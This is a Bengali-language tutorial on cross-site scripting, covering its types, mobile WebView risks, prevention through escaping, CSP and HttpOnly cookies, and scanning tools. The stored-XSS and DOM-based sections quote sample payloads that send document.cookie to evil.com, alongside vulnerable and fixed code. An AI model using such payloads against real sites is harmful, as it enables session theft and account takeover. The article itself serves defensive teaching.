XSS — এটি কী, আক্রমণের ধরন এবং সুরক্ষার পদ্ধতি

XSS কী?

XSS (Cross-Site Scripting) হল একটি দুর্বলতা যা আক্রমণকারীকে একটি ওয়েব পৃষ্ঠায় JavaScript কোড ইনজেক্ট করার অনুমতি দেয়, যা তারপর শিকারের ব্রাউজারে কার্যকর হয়। ব্রাউজারটি একটি বিশ্বস্ত ওয়েবসাইট থেকে পৃষ্ঠা লোড করে এবং ইনজেক্ট করা স্ক্রিপ্টটি সাইটের বৈধ কোডের মতো একই বিশেষাধিকার সহ কার্যকর করে। এটি আক্রমণকারীকে কুকি, সেশন স্টোরেজ, পৃষ্ঠার DOM ট্রিতে অ্যাক্সেস এবং শিকারের পক্ষ থেকে অনুরোধ পাঠানোর ক্ষমতা দেয়। XSS দুর্বলতা ঘটে যখন একটি অ্যাপ্লিকেশন সঠিক এস্কেপিং বা যাচাইকরণ ছাড়া ব্যবহারকারীর ডেটা HTML পৃষ্ঠায় সন্নিবেশ করে।

XSS-এর ইতিহাস এবং প্রাসঙ্গিকতা

Cross-Site Scripting শব্দটি প্রথম 2000 সালে Microsoft সিকিউরিটি বুলেটিনে আবির্ভূত হয়। গত 25 বছরে, XSS তার প্রাসঙ্গিকতা হারায়নি: HackerOne (2025) অনুসারে, XSS প্ল্যাটফর্মে নিবন্ধিত সমস্ত দুর্বলতার প্রায় 22% গঠন করে। XSS-এর স্থায়িত্বের কারণ হল ব্যবহারকারীর ডেটার সমস্ত প্রবেশ বিন্দু নিয়ন্ত্রণের অসুবিধা। যেকোনো ইনপুট ফিল্ড, URL প্যারামিটার, HTTP অনুরোধ হেডার বা ফাইল নাম আক্রমণের ভেক্টর হতে পারে যদি ডেটা প্রক্রিয়াকরণ ছাড়া HTML কোডে প্রতিফলিত হয়।

XSS কী ক্ষতি করে?

XSS আক্রমণ সেশন কুকি চুরি করতে পারে, যা আক্রমণকারীকে পাসওয়ার্ড ছাড়া শিকারের অ্যাকাউন্টে লগ ইন করার অনুমতি দেয়। অন্যান্য পরিণতির মধ্যে রয়েছে: ফিশিং সাইটে রিডিরেক্ট, পৃষ্ঠার বিষয়বস্তু পরিবর্তন, ব্যক্তিগত ডেটা চুরি এবং ম্যালওয়্যার ইনস্টলেশন (drive-by download)। 2023 সালে, Salesforce Community Cloud প্ল্যাটফর্মে XSS আক্রমণ হাজার হাজার এন্টারপ্রাইজ ক্লায়েন্টের ডেটা প্রভাবিত করেছিল, যা প্রদর্শন করেছিল যে বড় প্ল্যাটফর্মগুলিও এই দুর্বলতা থেকে অনাক্রম্য নয়।

XSS আক্রমণের ধরন

XSS শ্রেণীবিভাগ আক্রমণগুলিকে দূষিত কোড সরবরাহের পদ্ধতি অনুসারে তিনটি প্রধান প্রকারে বিভক্ত করে। প্রতিটি প্রকারের সুরক্ষার জন্য ভিন্ন পদ্ধতির প্রয়োজন: Stored XSS ডাটাবেস থেকে আউটপুট এস্কেপ করে, Reflected — URL প্যারামিটার এস্কেপ করে, DOM-based — DOM API-এর সাথে নিরাপদে কাজ করে প্রতিরোধ করা হয়। পার্থক্য বোঝা একটি কার্যকর সুরক্ষা কৌশল এর ভিত্তি।

Stored XSS (স্থায়ী)

সবচেয়ে বিপজ্জনক XSS প্রকার। আক্রমণকারী এমন ডেটাতে একটি স্ক্রিপ্ট ইনজেক্ট করে যা সার্ভার ডাটাবেসে সংরক্ষণ করে এবং প্রতিটি পৃষ্ঠা লোডে প্রদর্শন করে। একটি সাধারণ ভেক্টর হল মন্তব্য ফিল্ড: আক্রমণকারী <script>document.location='https://evil.com/?c='+document.cookie</script> সহ একটি মন্তব্য পোস্ট করে। এই মন্তব্য সহ পৃষ্ঠা লোড করা প্রতিটি ব্যবহারকারী তাদের কুকি আক্রমণকারীর কাছে পাঠায়। Stored XSS-এর জন্য শিকারের পৃষ্ঠা পরিদর্শন করা ছাড়া কোনও কর্মের প্রয়োজন হয় না — যা এটিকে সোশ্যাল নেটওয়ার্ক, ফোরাম এবং ব্লগের জন্য বিশেষভাবে বিপজ্জনক করে তোলে।

Reflected XSS (প্রতিফলিত)

দূষিত স্ক্রিপ্ট HTTP অনুরোধে (সাধারণত URL প্যারামিটারে) প্রেরিত হয় এবং সার্ভার তাৎক্ষণিকভাবে প্রতিক্রিয়ায় প্রতিফলিত করে। আক্রমণকারী https://example.com/search?q=<script>...</script> এর মতো একটি লিঙ্ক তৈরি করে এবং ফিশিং, সোশ্যাল নেটওয়ার্ক বা ইমেলের মাধ্যমে এটি বিতরণ করে। লিঙ্কে ক্লিক করা শিকার একটি পৃষ্ঠা পায় যেখানে প্রবেশ করা সার্চ কোয়েরি (স্ক্রিপ্ট) এস্কেপিং ছাড়া প্রদর্শিত হয়। Reflected XSS-এর জন্য সোশ্যাল ইঞ্জিনিয়ারিং প্রয়োজন — শিকারকে লিঙ্কে ক্লিক করতে হয়, যা ঝুঁকি হ্রাস করে কিন্তু দূর করে না।

DOM-based XSS

Stored এবং Reflected-এর বিপরীতে, DOM-based XSS-এর জন্য সার্ভারে ডেটা পাঠানোর প্রয়োজন হয় না। দুর্বলতা তখন ঘটে যখন ক্লায়েন্ট-সাইড JavaScript নিরাপদ প্রক্রিয়াকরণ ছাড়া URL, document.referrer, postMessage বা localStorage থেকে ব্যবহারকারীর ডেটা DOM-এ সন্নিবেশ করে। উদাহরণস্বরূপ, document.getElementById('output').innerHTML = location.hash.substring(1) এর মতো কোড URL খণ্ড (#<img onerror='...'>) থেকে যেকোনো HTML এবং স্ক্রিপ্ট কার্যকর করে। DOM-based XSS সনাক্ত করা সবচেয়ে কঠিন কারণ সার্ভার কখনই দূষিত পেলোড গ্রহণ করে না — এটি সম্পূর্ণরূপে ক্লায়েন্টে প্রক্রিয়াকৃত হয়।

// DOM-based XSS উদাহরণ (দুর্বল কোড)
// যদি userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — বিপজ্জনক: কাঁচা HTML সন্নিবেশ করে
document.write('<div>' + userInput + '</div>');

// নিরাপদ বিকল্প — textContent ব্যবহার করুন
document.getElementById('output').textContent = userInput;

XSS আক্রমণ কীভাবে কাজ করে?

XSS ওয়েবের একটি মৌলিক বৈশিষ্ট্য শোষণ করে: ব্রাউজার একটি বিশ্বস্ত ডোমেন থেকে প্রাপ্ত JavaScript কার্যকর করে। যদি আক্রমণকারী সার্ভারের HTML প্রতিক্রিয়ায় তার কোড ইনজেক্ট করার উপায় খুঁজে পায়, ব্রাউজার এটি বৈধ কোডের একই বিশেষাধিকার সহ কার্যকর করে। আক্রমণটি তিনটি ধাপের মধ্য দিয়ে যায়: কন্টেন্টে দূষিত কোড ইনজেকশন, শিকারের ব্রাউজারে কন্টেন্ট সরবরাহ এবং DOM, কুকি এবং স্টোরেজে অ্যাক্সেস সহ কোড কার্যকর করা।

ইনজেকশন ধাপ

আক্রমণকারী একটি প্রবেশ বিন্দু খুঁজে পায় — একটি ফিল্ড, URL প্যারামিটার বা হেডার যার মান সার্ভার এস্কেপিং ছাড়া HTML প্রতিক্রিয়ায় অন্তর্ভুক্ত করে। সাধারণ প্রবেশ বিন্দুগুলির মধ্যে রয়েছে: সার্চ বার, মন্তব্য ফিল্ড, ব্যবহারকারীর নাম, অবতার URL, কুকি, HTTP হেডার (User-Agent, Referer)। আধুনিক ফ্রেমওয়ার্ক (React, Angular, Vue) স্বয়ংক্রিয়ভাবে আউটপুট এস্কেপ করে, কিন্তু ডেভেলপাররা dangerouslySetInnerHTML, bypassSecurityTrustHtml বা v-html এর মাধ্যমে এস্কেপিং নিষ্ক্রিয় করতে পারে।

সরবরাহ ধাপ

Reflected XSS-এর জন্য, আক্রমণকারী দূষিত লিঙ্ক বিতরণ করে। Stored XSS-এর জন্য, লক্ষ্য সাইটে কন্টেন্ট প্রকাশ করা যথেষ্ট, এবং পৃষ্ঠার প্রতিটি দর্শক শিকার হয়ে যায়। DOM-based XSS একটি নির্দিষ্ট URL খণ্ড সহ পৃষ্ঠা লোড হলে সক্রিয় হয়। তিনটি ধাপই স্বয়ংক্রিয় হতে পারে: যদি একটি বিজ্ঞাপন ব্যানারে (তৃতীয়-পক্ষের কন্টেন্ট) XSS পাওয়া যায়, ব্যানার অপসারণ না হওয়া পর্যন্ত আক্রমণটি সাইটের সমস্ত ব্যবহারকারীকে প্রভাবিত করবে।

// সার্চে Reflected XSS উদাহরণ (দুর্বল ব্যাকএন্ড)
// প্যারামিটার q এস্কেপ করার পরিবর্তে, সার্ভার এটি HTML-এ সন্নিবেশ করে

// Express.js — দুর্বল হ্যান্ডলার:
app.get('/search', (req, res) => {
    const query = req.query.q; // ব্যবহারকারী ইনপুট
    res.send(`<h1>Results for: ${query}</h1>`);
});

// নিরাপদ সংস্করণ — encodeURI বা টেমপ্লেট ইঞ্জিনের মাধ্যমে এস্কেপিং:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

মোবাইল অ্যাপ্লিকেশনে XSS

মোবাইল অ্যাপ্লিকেশনগুলিও XSS আক্রমণের জন্য সংবেদনশীল, যদিও ওয়েবসাইটের তুলনায় কম পরিমাণে। প্রধান ভেক্টর হল WebView এবং হাইব্রিড ফ্রেমওয়ার্ক (Cordova, Capacitor, React Native with WebView)। যদি অ্যাপ WebView-এ ওয়েব কন্টেন্ট লোড করে — বিশেষ করে ব্যবহারকারীর কন্টেন্ট (HTML ইমেল, নিবন্ধ, বার্তা) — একটি XSS দুর্বলতা JavaScript ব্রিজের মাধ্যমে নেটিভ ফাংশনে অ্যাক্সেস সহ অ্যাপের ভিতরে JavaScript কার্যকর করতে পারে।

Android WebView-এ XSS

Android WebView ডিফল্টভাবে JavaScript কার্যকর করে। যদি অ্যাপ loadDataWithBaseURL() এর মাধ্যমে HTML স্ট্রিং লোড করে বা ব্যবহারকারীর কন্টেন্ট প্রদর্শন করে, একটি XSS আক্রমণ আক্রমণকারীকে JavaScript ইন্টারফেস (addJavascriptInterface) এ অ্যাক্সেস দিতে পারে। Google API < 17-এর জন্য @JavascriptInterface ব্যবহার নিষিদ্ধ করেছে, কিন্তু পুরানো অ্যাপে লিগ্যাসি কোড এখনও বিদ্যমান। সুরক্ষা: প্রয়োজন না হলে WebView-এ JavaScript নিষ্ক্রিয় করুন এবং নিরাপদ ব্রাউজিং ব্যবহার করুন।

React Native এবং Flutter-এ XSS

React Native UI-র জন্য WebView ব্যবহার করে না — কম্পোনেন্টগুলি নেটিভ ভিউতে রেন্ডার হয়। তবে, react-native-webview বা রিচ-টেক্সট কম্পোনেন্টের মাধ্যমে HTML প্রদর্শন করার সময়, XSS ঝুঁকি ফিরে আসে। Flutter তার নিজস্ব রেন্ডারিং ইঞ্জিন (Skia) ব্যবহার করে এবং HTML উইজেটে JavaScript সমর্থন করে না (flutter_html স্ক্রিপ্ট ট্যাগ কার্যকর করে না), কিন্তু WebView প্লাগইন (webview_flutter) নেটিভ WebView-এর মতোই সংবেদনশীল। সেরা অনুশীলন — কখনই অবিশ্বস্ত HTML WebView-এ পাস করবেন না।

• WebView-এ JavaScript নিষ্ক্রিয় করুন যদি কন্টেন্টের ইন্টারঅ্যাক্টিভিটির প্রয়োজন না হয়
• CSP হেডার ব্যবহার করুন WebView-এ স্ক্রিপ্ট উত্স সীমাবদ্ধ করতে
• HTML স্যানিটাইজ করুন WebView-এ লোড করার আগে: স্ক্রিপ্ট ট্যাগ এবং ইভেন্ট হ্যান্ডলার সরান
• Android-এ addJavascriptInterface ব্যবহার করবেন না আগত ডেটার কঠোর যাচাইকরণ ছাড়া

// Android-এ নিরাপদ WebView কনফিগারেশন
val webView = findViewById<WebView>(R.id.webview)

// ইন্টারঅ্যাক্টিভিটির প্রয়োজন না হলে JavaScript নিষ্ক্রিয় করুন
webView.settings.javaScriptEnabled = false

// লোড করার আগে HTML স্যানিটাইজ করুন
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

XSS প্রতিরোধের পদ্ধতি

XSS থেকে সুরক্ষা তিনটি নীতির উপর ভিত্তি করে: ব্যবহারকারীর ইনপুট বিশ্বাস করবেন না, আউটপুটের আগে এস্কেপ করুন, Content Security Policy ব্যবহার করুন। আউটপুট এনকোডিং সবচেয়ে গুরুত্বপূর্ণ পদ্ধতি: ব্যবহারকারীর কাছ থেকে প্রাপ্ত সমস্ত ডেটা HTML, JavaScript, CSS বা URL-এ সন্নিবেশ করার আগে এস্কেপ করা উচিত। আধুনিক টেমপ্লেট ইঞ্জিন (Twig, Handlebars, JSX, Blade) এটি স্বয়ংক্রিয়ভাবে করে যদি না ডেভেলপার বিশেষ পদ্ধতি দ্বারা এস্কেপিং নিষ্ক্রিয় করে।

প্রাসঙ্গিক এস্কেপিং

এস্কেপিং ডেটা সন্নিবেশের প্রসঙ্গের উপর নির্ভর করে। HTML প্রসঙ্গে, <, >, & এবং উদ্ধৃতি চিহ্ন এস্কেপ করা হয়। JavaScript প্রসঙ্গে, ব্যাকটিক, এবং </script> এস্কেপ করা হয়। CSS প্রসঙ্গে — নিয়ন্ত্রণ অক্ষর। URL প্রসঙ্গে — URL এনকোডিং। একটি প্রসঙ্গ ত্রুটি — উদাহরণস্বরূপ, একটি onclick অ্যাট্রিবিউটে HTML-এস্কেপ করা স্ট্রিং সন্নিবেশ করা — XSS থেকে রক্ষা করে না কারণ onclick JavaScript প্রসঙ্গে কার্যকর হয় যেখানে ভিন্ন এস্কেপিং প্রয়োজন।

Content Security Policy (CSP)

CSP হল একটি HTTP হেডার যা ব্রাউজার স্ক্রিপ্ট, স্টাইল এবং অন্যান্য রিসোর্স লোড করতে পারে এমন উত্স সীমাবদ্ধ করে। কঠোর CSP (unsafe-inline ছাড়া, unsafe-eval ছাড়া) যেকোনো ইনলাইন স্ক্রিপ্টের কার্যকরীকরণ ব্লক করে, যার মধ্যে XSS ভেক্টরও রয়েছে। Google Security Blog (2025) অনুসারে, CSP সহ সাইটগুলি 95% XSS আক্রমণ ব্লক করে। উদাহরণ: Content-Security-Policy: default-src 'self'; script-src 'self' যেকোনো বাহ্যিক এবং ইনলাইন স্ক্রিপ্ট নিষিদ্ধ করে। CSP Stored XSS থেকে রক্ষা করে না যদি স্ক্রিপ্ট একই ডোমেন থেকে লোড হয়, তবে এর জন্য আক্রমণকারীর অতিরিক্ত প্রচেষ্টা প্রয়োজন।

HttpOnly এবং Secure কুকি

কুকির জন্য HttpOnly ফ্ল্যাগ সেট করা JavaScript (document.cookie) এর মাধ্যমে তাদের অ্যাক্সেস প্রতিরোধ করে, যা XSS-এর মাধ্যমে সেশন কুকি চুরি ব্লক করে। Secure ফ্ল্যাগ নিশ্চিত করে যে কুকি শুধুমাত্র HTTPS-এর মাধ্যমে প্রেরিত হয়। HttpOnly + Secure + SameSite=Lax এর সংমিশ্রণ XSS-এর মাধ্যমে সেশন কুকি চুরি কার্যত অসম্ভব করে তোলে। তবে, XSS এখনও ব্যবহারকারীর পক্ষ থেকে কাজ করতে পারে (যেমন অনুরোধ পাঠানো), তাই HttpOnly কোনও রামবাণ নয় বরং একটি ব্যাপক সুরক্ষার অংশ।

XSS সনাক্তকরণের সরঞ্জাম

নিয়মিত XSS পরীক্ষা নিরাপদ উন্নয়ন CI/CD পাইপলাইনের একটি বাধ্যতামূলক অংশ। স্বয়ংক্রিয় স্ক্যানার 80% পর্যন্ত XSS দুর্বলতা খুঁজে পায়; বাকিগুলির জন্য ম্যানুয়াল পেনিট্রেশন টেস্টিং প্রয়োজন। সর্বোত্তম পদ্ধতি হল SAST (স্ট্যাটিক) বিশ্লেষণ, DAST (ডায়নামিক) স্ক্যানিং এবং ব্যবহারকারীর ডেটা প্রবেশ বিন্দুতে ফোকাস সহ কোড পর্যালোচনা-এর সংমিশ্রণ।

• OWASP ZAP — বিনামূল্যের DAST স্ক্যানার, ওয়েব অ্যাপ্লিকেশনে স্বয়ংক্রিয়ভাবে XSS খুঁজে পায়
• Burp Suite Professional — XSS-এর জন্য Active Scan এবং Intruder সহ উন্নত সরঞ্জাম
• XSStrike — পেলোড জেনারেশন সহ বিশেষায়িত XSS স্ক্যানার
• ESLint-plugin-security — বিপজ্জনক প্যাটার্নের জন্য React/JSX-এর স্ট্যাটিক বিশ্লেষণ
• Google Observatory — CSP হেডার এবং XSS-সম্পর্কিত কনফিগারেশন পরীক্ষা করে

মোবাইল অ্যাপ্লিকেশনের জন্য, XSS পরীক্ষায় WebView বিশ্লেষণ অন্তর্ভুক্ত: JavaScript ইন্টারফেস পরীক্ষা, URL স্কিম হ্যান্ডলিং এবং loadDataWithBaseURL-এ HTML পাস করা। হাইব্রিড অ্যাপ্লিকেশনে postMessage হ্যান্ডলিং পরীক্ষা করার এবং JavaScript ব্রিজের মাধ্যমে কী ডেটা পাস হয় তা যাচাই করারও সুপারিশ করা হয়। মোবাইল অ্যাপ ট্রাফিক ইন্টারসেপ্ট এবং পরিবর্তন করতে একটি প্রক্সি (Burp Suite) সহ একটি এমুলেটর ব্যবহার করুন।